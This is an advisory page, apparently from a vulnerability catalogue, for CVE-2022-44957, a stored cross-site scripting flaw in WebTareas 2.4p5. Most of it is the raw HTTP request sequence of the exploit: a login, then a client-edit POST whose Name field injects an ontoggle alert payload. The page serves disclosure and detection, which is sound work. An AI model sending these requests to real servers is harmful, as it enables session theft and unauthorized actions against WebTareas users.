🔙 목록으로 돌아가기

CVE-2022-44957: WebTareas 2.4p5 - Cross-Site Scripting

TitleWebTareas 2.4p5 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactAuthenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users.
RemediationUpdate webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php.
CVSS Score5.4
EPSS Score0.01842
CVE IDCVE-2022-44957
CWE IDCWE-79
Tags cve cve2022 xss webtareas authenticated intrusive webtareas_project vuln

🔍 Vulnerability Description

webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

🌐 HTTP Request

POST /general/login.php?session=false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 538
Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525
Accept-Encoding: gzip

-----------------------------3023071625140724693672385525

Content-Disposition: form-data; name="action"



login

-----------------------------3023071625140724693672385525

Content-Disposition: form-data; name="loginForm"



koFUSO

-----------------------------3023071625140724693672385525

Content-Disposition: form-data; name="passwordForm"



qsLcCn

-----------------------------3023071625140724693672385525

Content-Disposition: form-data; name="loginSubmit"



Log In

-----------------------------3023071625140724693672385525--
GET /clients/editclient.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept-Encoding: gzip
POST /clients/editclient.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.3
Connection: close
Content-Length: 2485
Content-Type: multipart/form-data; boundary=---------------------------34025600472463336623659912061
Accept-Encoding: gzip

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="csrfToken"



Pje92F

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="action"



add

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="cown"



1

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="cn"



38FDj8fhUqM30LUJeXa0Gm2ul96<details/open/ontoggle=alert(document.domain)>

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="add"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="zip"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="ct"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="cou"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="wp"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="fa"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="url"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="email"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="curr"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="wc"



1

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="pym"



1

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="pyt"



7

-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="c"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="ssc"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="file1"; filename=""

Content-Type: application/octet-stream





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="attnam1"





-----------------------------34025600472463336623659912061

Content-Disposition: form-data; name="atttmp1"





-----------------------------34025600472463336623659912061--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44957.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-44957.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A